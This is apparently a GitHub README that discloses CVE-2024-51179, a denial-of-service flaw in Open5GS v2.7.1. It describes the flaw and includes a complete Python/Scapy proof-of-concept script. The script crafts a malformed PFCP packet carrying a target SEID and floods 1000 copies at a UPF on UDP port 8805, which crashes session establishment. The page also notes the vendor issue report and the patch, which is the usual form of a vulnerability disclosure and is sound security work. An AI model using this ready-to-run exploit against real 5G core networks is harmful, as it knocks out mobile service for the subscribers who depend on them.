lakshmirnr/cve-2024-51179Proof-of-concept exploit for CVE-2024-51179: crafted PFCP packet flooding causes denial of service in Open5GS UPF/SMF, disrupting 5G core PDU session establishment.
Description: An issue in Open 5GS v.2.7.1 allows a remote attacker to cause a denial of servie via the Network Function Virtualizations (NFVs) such as the User Plane Function (UPF) and the Session Management Function (SMF). The Packet Data Unit (PDU) session establishment process is impacted by the crashes occurring within the NFVs.
An attacker, after obtaining the IP address of the User Plane Function (UPF), the PFCP port, and the SEID (Session Endpoint Identifier), can craft and flood malicious PFCP (Packet Forwarding Control Protocol) packets to the UPF. The required parameters can be intercepted using tools like Wireshark if the attacker has access to the user plane traffic.
Type of Vulnerability: Denial Of Service
Impact: Upon sending the malicious packet, the UPF becomes erroneous, affecting the establishment of new PDU sessions. Additionally, the SMF (Session Management Function) is impacted due to the flood of malicious PFCP packets, disrupting Core functions
Preconditions: The 5G core network was set up using Open5GS as the core network and UERANSIM as the emulation tool for the gNB (Next Generation NodeB) and UE (User Equipment).
STEPS TO PERFORM ATTACK
#!/usr/bin/env python3
from scapy.all import *
from scapy.layers.inet import IP, UDP
import socket
import struct
UPF_IP = "192.168.56.113"
UPF_PORT = 8805
message_type = 53
sequence_number = 1
seid = 0x0010000000000000
version = 1
spare = 0
mp = 0
s_flag = 1
byte0 = (version << 5) | (s_flag << 2)
length = 0
seid_bytes = seid.to_bytes(8, 'big')
sequence_number_bytes = sequence_number.to_bytes(3, 'big')
pfcp_header = struct.pack('!BBH', byte0, message_type, length) + seid_bytes + sequence_number_bytes
ie_type = 150
ie_length = 13
flags = 0x01
fseid_seid = seid.to_bytes(8, 'big')
fseid_ipv4 = socket.inet_aton(UPF_IP)
fseid_ie = struct.pack('!HHB', ie_type, ie_length, flags) + fseid_seid + fseid_ipv4
pfcp_message = pfcp_header + fseid_ie
pfcp_message_length = len(pfcp_message) - 4
pfcp_header_with_length = struct.pack('!BBH', byte0, message_type, pfcp_message_length) + seid_bytes + sequence_number_bytes
pfcp_message = pfcp_header_with_length + fseid_ie
packet = IP(dst=UPF_IP) / UDP(sport=RandShort(), dport=UPF_PORT) / Raw(load=pfcp_message)
packet[UDP].chksum = None
print(f"Packet Summary: {packet.summary()}")
hexdump(packet)
for _ in range(1000):
send(packet)
print("Sent 1000 malicious PFCP packets to UPF.")
The vulnerability, documented as Issue #3497 on the Open5GS GitHub page (https://github.com/open5gs/open5gs/issues/3497), was reported to the Open5GS vendor, who identified the root cause as a memory deallocation issue leading to system crashes. A patch has since been applied, and the code has been updated to resolve the issue. You can review the updated code here.
CVE-2024-51179 has been published.
DIGITAL UNIVERSITY KERALA, CENTRE FOR DEVELOPMENT OF TELEMATICS(C-DOT)